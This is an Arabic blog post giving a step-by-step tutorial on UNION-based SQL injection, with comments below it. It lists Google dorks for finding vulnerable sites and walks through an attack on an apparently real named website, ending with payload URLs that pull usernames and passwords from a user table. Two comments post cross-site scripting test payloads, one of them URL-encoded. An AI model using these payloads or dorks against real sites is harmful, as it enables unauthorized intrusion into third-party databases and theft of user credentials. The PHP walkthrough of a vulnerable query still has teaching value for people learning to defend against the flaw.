الثلاثاء، 6 ديسمبر 2016
6.12.16

ثغرة SQL Injection - شرح مفصل -

تدوينة اليوم لا يمكن اعتبارها عملا حصريا باعتبار أننا سنقوم بشرح و بشكل مفصل لأشهر ثغرة وأكثر الثغرات استعمالا خصوصا من المبتدئين في عالم الهاكرز و الإختراق ، و كذلك من Script kiddis خصوصا ، أغلب و أكثر الشروحات التي تشرح استغلال ثغرات SQL هي شروحات تعتمد على برامج مثل Sqlmap على أنظمة لينكس و Havij على أنظمة ويندوز .



طبعا أنا لست من المعترضين على استعمال البرامج و الأدوات ، فمن الغباء السفر على الأقدام بوجود وسائل النقل ، كذلك من الغباء محاولة القيام بالإختراق في ساعات يدويا و أنت تعلم أنك يمكن القيام به بدقائق باستعمال أداة أو برنامج.

لكن اعتراضي هو على عدم فهم ما يدور خلف ستار البرامج و تطبيق ما تراه و تلاحظه بالفيديو حرفيا دون معرفة ما الذي يجري ، فكما يقال " a fool with a tool is always a fool " ، و هذا أحد أهم أسباب عدم التقدم نحو الإحتراف و البقاء دائما داخل نطاق الهواة و Script Kiddis ، فرجاء القراءة تم القراءة حتى تفهم المبدأ تم يأتي بعدها التطبيق لتقوم بترسيخ المكتسبات ، و تبقى هذه وجهة نظر شخصية للنقاش.

قبل البدأ في شرح الثغرة أقترح أن تكون الفقرة الأولى مخصصة لشرح طريقة عمل تطبيقات الويب .

كيف تعمل تطبيقات الويب :

على سبيل المثال نريد أن نقوم بإظهار كل المنتجات بثمن أقل من 100 درهم عن طريق الرابط :

http://www.victim.com/products.php?val=100

الإتصال بقاعدة البيانات أو Database :

$conn = mysql_connect(“localhost”,“username”,“password”);

تكوين أمر SQL عن طريق المعلومات التي تم إدخالها وهي باللون الأزرق :


$query = “SELECT ∗ FROM Products WHERE Price < ‘$_GET[“val”]’ ”.
“ORDER BY ProductDescription”;

تنفيذ query بقاعدة البيانات :
$result = mysql_query($query);

القيام بعملية التكرار داخل كل السجلات record set:

while($row = mysql_fetch_array($result,MYSQL_ASSOC))
{


إضهار النتائج بالمتصفح :
echo “Description : {$row[‘ProductDescription’]} <br>”.
“Product ID : {$row[‘ProductID’]} <br>”.
“Price : {$row[‘Price’]} <br><br>”;
}



وهذا شكل الكود sql الذي يتم تكوينه عن طريق مراحل php التي قمنا بإدراجها:

SELECT ∗
FROM Products
WHERE Price <‘100.00’
ORDER BY ProductDescription;

ما هو SQL Injection:

sql injection  من بين أكثر الثغرات تواجدا على مواقع الأنترنيت و هو ببساطة هجوم يتم فيه حقن كود sql بتطبيق الويب حتى يتم استخراج البيانات من قاعدة االبيانات التي يعتمد عليها الموقع ، والثغرة تعتمد على خطأ في عدم معاينة ما يتم إدخاله قبل ان يتم تمريره لقاعدة البيانات ،كما يمكنك تجاوز نافذة authentication باستعمال هذه الثغرة،  و بالنسبة لتدونتنا سنقوم فقط بشرح استخراج البيانات باعتماد Union .

وهذه صورة توضح استغلال ثغرة sql injection بشكل جلي

البحث عن المواقع المصابة:

طبعا هناك العديد من البرامج التي تقوم بعمل سكان و اكتشاف الثغرة، لكن في تدونتنا اليوم سنقوم باستعمال dork على جوجل للحصول على المواقع التي من المحتمل أن تكون مصابة ، و هذه بعض الدورك التي يمكنك استعمالها :

nurl:/list_blogs.php?sort_mode=
inurl:/eventdetails.php?*=
inurl:/commodities.php?*id=
inurl:/recipe-view.php?id=
inurl:product.php?mid=
inurl:view_ad.php?id=
inurl:/imprimir.php?id=
inurl:/prodotti.php?id=
inurl:index.cgi?aktion=shopview
inurl:/default.php?id=
inurl:/default.php?portalID=
inurl:/*.php?id=
inurl:/articles.php?id=
inurl:/os_view_full.php?
inurl:/Content.asp?id=
inurl:/CollectionContent.asp?id=

تطبيق على موقع مصاب ب sql injection :

سنقوم بتطبيق عملي على موقع مصاب بثغرة Sql Injection لذلك المرجوا تتبع المراحل و فهم كل مرحلة و الغاية منها .
الرابط الذي سنقوم بتجربة استغلال الثغرة عليه هو :

http://www.woodrock.ca/sections/default.php?Id=13

المرحلة 1 -التأكد من وجود الثغرة-

 سنقوم بالتأكد من وجود الثغرة بالموقع عن طريق إضافة '  للرابط حتى نتمكن من معرفة هل الموقع يقوم بفلترة ما يتم إدخاله أم لا ، و وجود الثغرة يكون عن طريق ظهور رسالة مشابهة ل :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

بعد أن قمت بإظافة الرمز ' للرابط  النتيجة كانت كالتالي و تؤكد وجود ثغرة sql injection بالموقع :











المرحلة 2 - تحديد عدد columns -

في هذه المرحلة سنقوم بإضافة order by و رقم العمود و نستمر في تغيير رقم العمود حتى يظهر الخطأ ، بهذه الطريقة نحدد عدد الأعمدة ، و الرابط يصبح كالتالي :

http://www.woodrock.ca/sections/default.php?Id=13 order by 1-- (بدون خطأ)
http://www.woodrock.ca/sections/default.php?Id=13 order by 2-- (بدون خطأ)
http://www.woodrock.ca/sections/default.php?Id=13 order by 3-- (بدون خطأ)
http://www.woodrock.ca/sections/default.php?Id=13 order by 4-- (خطأ)






و الإستنتاج الذي نخلص إليه أن عدد الأعمدة هو 3  أعمدة .

المرحلة 3 -تحديد الأعمدة المصابة-

في هذه المرحلة سيكون الهذف هو تحديد الأعمدة columns المصابة بالثغرة و التي سنستعملها في استخراج و إظهار البيانات من قاعدة البيانات و لهذا الغرض سنستعمل الكود Union و بإضافة رمز - لقيمة المتغيير Id ليصبح الرابط كالتالي :

http://www.woodrock.ca/sections/default.php?Id=-13 union all select 1,2,3--









النتيجة عمودين مصابين 2 و 3 و هما اللذان سيتم استعمالهما لاستخراج المعلومات .

المرحلة 4 -استخراج بعض المعلومات- 

سنقوم باستخراج المعلومات التالية وإظهارها على العمود 2 و أهمها هي إصدارقاعدة البيانات :

user() إظهار المستعمل 
http://www.woodrock.ca/sections/default.php?Id=-13 union all select 1,user(),3--


ٍversion() إصدار قاعدة البيانات
http://www.woodrock.ca/sections/default.php?Id=-13 union all select 1,version(),3-- 



database() إسم قاعدة البيانات 
http://www.woodrock.ca/sections/default.php?Id=-13 union all select 1,database(),3--








طبعا من حسن الحظ أن إصدار قاعدة البيانات هو 5 ، حيث أن كل الإصدارت أقل من 5 لا تحتوي على information_schema و بالتالي سنكون ملزمين على تخمين إسم الجداول .

المرحلة 5 -استخراج أسماء الجداول tables-

الان سنقوم باستخراج مجموع الجداول والبحث عن الأهم و هو غالبا الذي يحمل الأدمين وبياناته الشخصية :

http://www.woodrock.ca/sections/default.php?Id=-13 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--







بعد القيام باستخراج الجداول سنقوم باختيار جدول poll_user .

المرحلة 6 -استخراج اعمدة الجدول-

بعد أن قمنا بتحديد الجدول يجب أن نقوم بتحويله إلى صيغة Hex فمثلا poll_user سيصبح 0x706f6c6c5f75736572 

http://www.woodrock.ca/sections/default.php?Id=-13 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x706f6c6c5f75736572--








المرحلة 7 -استخراج المعلومات- 

أخيرا نأتي لاستخراج المعلومات وسنقوم بالفصل بين Id و الباسوورد و user ب 0x3a قيمة : بالهيكس

http://www.woodrock.ca/sections/default.php?Id=-13 union all select 1,concat(user_id,0x3a,username,0x3a,userpass),3 from poll_user--






بهذا أكون قد أتممت هذا المقال و أتمنى أن يحمل الجديد و الإفادة.



التالي
هذا احدت موضوع
رسالة أقدم

11 comments:

  1. https://www.sec-4-it.com/2020/05/injection-attacks.html
    لو حد اكتشف ثغره من دول هيبقي اشهر واحد في مصر
    طرق الانجيكشن اتاك موجوده هنت
    Injection Attacks

    ردحذف
  2. جزاك الله خير على هذا الشرح الممتاز وذات قيمة مشكووووور

    ردحذف
  3. %20%3c%66%6f%72%6d%20%69%64%3d%22%74%65%73%74%22%3e%3c%2f%66%6f%72%6d%3e%3c%62%75%74%74%6f%6e%20%66%6f%72%6d%3d%22%74%65%73%74%22%20%66%6f%72%6d%61%63%74%69%6f%6e%3d%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%3e%48%4d%44%35%31%3c%2f%62%75%74%74%6f%6e%3e

    ردحذف
  4. <form id="mf"></form><button form="mf" formaction=javascript:alert(1)>HMD51</button>

    ردحذف

أضف تعليقك